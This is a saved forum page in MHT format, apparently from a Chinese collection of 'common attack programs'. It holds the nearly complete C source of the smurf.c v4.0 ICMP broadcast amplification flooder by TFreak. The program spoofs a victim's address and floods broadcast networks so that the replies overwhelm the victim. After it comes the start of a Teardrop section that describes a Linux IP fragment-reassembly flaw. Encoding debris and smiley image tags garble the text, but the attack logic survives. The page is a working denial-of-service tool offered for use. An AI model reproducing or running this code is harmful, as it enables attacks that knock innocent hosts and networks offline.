📄 常用攻击程序.mht
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pain=20
=
away<BR>* ...<BR>*<BR>*<BR>*/<BR><BR>#include=20
<signal.h><BR>#include =
<stdio.h><BR>#include=20
<stdlib.h><BR>#include=20
<sys/socket.h><BR>#include=20
<sys/types.h><BR>#include=20
<netinet/in.h><BR>#include=20
<netinet/ip.h><BR>#include=20
<netinet/ip_icmp.h><BR>#include=20
<netdb.h><BR>#include =
<ctype.h><BR>#include=20
<arpa/inet.h><BR>#include=20
<unistd.h><BR>#include=20
<string.h><BR><BR>void =
banner(void);<BR>void=20
usage(char *);<BR>void smurf(int, struct =
sockaddr_in,=20
u_long, int);<BR>void ctrlc(int);<BR>unsigned =
short=20
in_chksum(u_short *, int);<BR><BR>/* stamp =
*/<BR>char=20
id[] =3D "$Id smurf.c,v 4.0 1997/10/11 13:02:42 =
EST tfreak=20
Exp $";<BR><BR>int main (int argc, char=20
*argv[])<BR>{<BR> struct sockaddr_in =
sin;<BR> struct hostent =
*he;<BR> =20
FILE *bcastfile;<BR> =20
int i, sock, bcast, delay, =
num,=20
pktsize, cycle =3D 0, x;<BR> =
char =20
buf[32], **bcastaddr =3D =
malloc(8192);<BR><BR> =20
banner();<BR> signal(SIGINT,=20
ctrlc);<BR><BR> if (argc < 6)=20
usage(argv[0]);<BR><BR> if ((he =3D=20
gethostbyname(argv[1])) =3D=3D NULL) {<BR> =
perror("resolving source =
host"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(-1);<BR> }<BR> =20
memcpy((caddr_t)&sin.sin_addr, =
he->h_addr,=20
he->h_length);<BR> sin.sin_family =
=3D=20
AF_INET;<BR> sin.sin_port =3D=20
htons(0);<BR><BR> num =3D=20
atoi(argv[3]);<BR> delay =3D=20
atoi(argv[4]);<BR> pktsize =3D=20
atoi(argv[5]);<BR><BR> if =
((bcastfile =3D=20
fopen(argv[2], "r"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>) =3D=3D NULL) =
{<BR> =20
perror("opening bcast =
file"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(-1);<BR> }<BR> =
x =3D=20
0;<BR> while (!feof(bcastfile)) =
{<BR> =20
fgets(buf, 32, =
bcastfile);<BR> =20
if (buf[0] =3D=3D '#' || =
buf[0] =3D=3D '\n'=20
|| ! isdigit(buf[0])) continue;<BR> =
=20
for (i =3D 0; i < strlen(buf); =
i++)<BR> =20
if (buf<I> =
=3D=3D '\n')=20
buf<I> =3D '\0';<BR> =
bcastaddr[x]=20
=3D malloc(32);<BR> =20
strcpy(bcastaddr[x], buf);<BR> =
=20
x++;<BR> }<BR> =20
bcastaddr[x] =3D 0x0;<BR> =20
fclose(bcastfile);<BR><BR> if =
(x =3D=3D 0)=20
{<BR> fprintf(stderr, =
"ERROR:=20
no broadcasts found in file %s\n\n", =
argv[2]);<BR> =20
exit(-1);<BR> =
}<BR> =20
if (pktsize > 1024) {<BR> =
=20
fprintf(stderr, "ERROR: packet size must =
be <=20
1024\n\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(-1);<BR> }<BR><BR> =
if=20
((sock =3D socket(AF_INET, SOCK_RAW, =
IPPROTO_RAW)) < 0)=20
{<BR> perror("getting=20
socket"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
=20
exit(-1);<BR> }<BR> =20
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, =
(char=20
*)&bcast, sizeof(bcast));<BR><BR> =20
printf("Flooding %s (. =3D 25 outgoing =
packets)\n",=20
argv[1]);<BR><BR> for (i =3D 0; i =
< num ||=20
!num; i++) {<BR> if =
(!(i % 25))=20
{ printf("."<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>; fflush(stdout); =
}<BR> =20
smurf(sock, sin,=20
inet_addr(bcastaddr[cycle]), pktsize);<BR> =
cycle++;<BR> =
=20
if (bcastaddr[cycle] =3D=3D 0x0) cycle =3D =
0;<BR> =20
usleep(delay);<BR> =20
}<BR> puts("\n\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =
return=20
0;<BR>}<BR><BR>void banner (void)<BR>{<BR> =
puts("\nsmurf.c v4.0 by TFreak\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR>}<BR><BR>void =
usage (char=20
*prog)<BR>{<BR> fprintf(stderr, =
"usage: %s=20
<target> <bcast file> "<BR> =20
=
=20
"<num packets> =
<packet=20
delay> <packet size>\n\n"<BR> =20
=
=20
"target =20
=3D address to =
hit\n"<BR> =20
=
=20
"bcast file =3D =
file to=20
read broadcast addresses from\n"<BR> =
=20
=
=20
"num packets =3D number of =
packets to=20
send (0 =3D flood)\n"<BR> =
=20
=
"packet=20
delay =3D wait between each packet =
(in=20
ms)\n"<BR> =
=20
"packet =
size =20
=3D size of packet (< 1024)\n\n",=20
prog);<BR> =
exit(-1);<BR>}<BR><BR>void smurf=20
(int sock, struct sockaddr_in sin, u_long dest, =
int=20
psize)<BR>{<BR> struct iphdr =
*ip;<BR> =20
struct icmphdr *icmp;<BR> char =
*packet;<BR><BR> packet =3D=20
malloc(sizeof(struct iphdr) + sizeof(struct =
icmphdr) +=20
psize);<BR> ip =3D (struct iphdr=20
*)packet;<BR> icmp =3D (struct =
icmphdr *)=20
(packet + sizeof(struct iphdr));<BR><BR> =20
memset(packet, 0, sizeof(struct iphdr) +=20
sizeof(struct icmphdr) + psize);<BR><BR> =20
ip->tot_len =3D htons(sizeof(struct =
iphdr) +=20
sizeof(struct icmphdr) + psize);<BR> =20
ip->ihl =3D 5;<BR> =
ip->version =3D=20
4;<BR> ip->ttl =3D 255;<BR> =
ip->tos =3D 0;<BR> =
ip->frag_off =3D=20
0;<BR> ip->protocol =3D=20
IPPROTO_ICMP;<BR> ip->saddr =3D=20
sin.sin_addr.s_addr;<BR> =
ip->daddr =3D=20
dest;<BR> ip->check =3D =
in_chksum((u_short=20
*)ip, sizeof(struct iphdr));<BR> =20
icmp->type =3D 8;<BR> =
icmp->code =3D=20
0;<BR> icmp->checksum =3D=20
in_chksum((u_short *)icmp, sizeof(struct =
icmphdr) +=20
psize);<BR><BR> sendto(sock, packet, =
sizeof(struct iphdr) + sizeof(struct icmphdr) +=20
psize,<BR> =
0,=20
(struct sockaddr *)&sin, sizeof(struct=20
sockaddr));<BR><BR> =
free(packet); =20
/* =
free=20
willy! */<BR>}<BR><BR>void ctrlc (int=20
ignored)<BR>{<BR> =
puts("\nDone!\n"<IMG=20
=
src=3D"http://25.20.176.12/bbs/images/smilies/wink.gif"=20
align=3DabsMiddle border=3D0>;<BR> =20
exit(1);<BR>}<BR><BR>unsigned short =
in_chksum=20
(u_short *addr, int len)<BR>{<BR> =
register=20
int nleft =3D len;<BR> register int =
sum =3D=20
0;<BR> u_short answer =3D =
0;<BR><BR> =20
while (nleft > 1) {<BR> =
=20
sum +=3D *addr++;<BR> =
nleft=20
-=3D 2;<BR> }<BR><BR> if =
(nleft =3D=3D=20
1) {<BR> *(u_char=20
*)(&answer) =3D *(u_char *)addr;<BR> =20
sum +=3D answer;<BR> =20
}<BR><BR> sum =3D (sum =
>> 16) +=20
(sum + 0xffff);<BR> sum +=3D (sum =
>>=20
16);<BR> answer =3D ~sum;<BR> =20
return(answer);<BR>}<BR><BR><BR><BR>3=20
Teardrop<BR><BR> =20
=
=D4=DALinux=B5=C4ip=B0=FC=D6=D8=D7=E9=B9=FD=B3=CC=D6=D0=D3=D0=D2=BB=B8=F6=
=D1=CF=D6=D8=B5=C4=C2=A9=B6=B4=A1=A3<BR> <BR> =20
=D4=DAip_glue()=D6=D0=A3=BA<BR> =
=20
<BR> =
=20
=
=D4=DA=D1=AD=BB=B7=D6=D0=D6=D8=D7=E9ip=B0=FC=A3=BA<BR> =20
fp =3D=20
qp->fragments;<BR> =20
while(fp !=3D NULL)<BR> =20
{<BR> =
=20
=20
if(count+fp->len > skb->len)<BR> =20
=
=20
{<BR> =20
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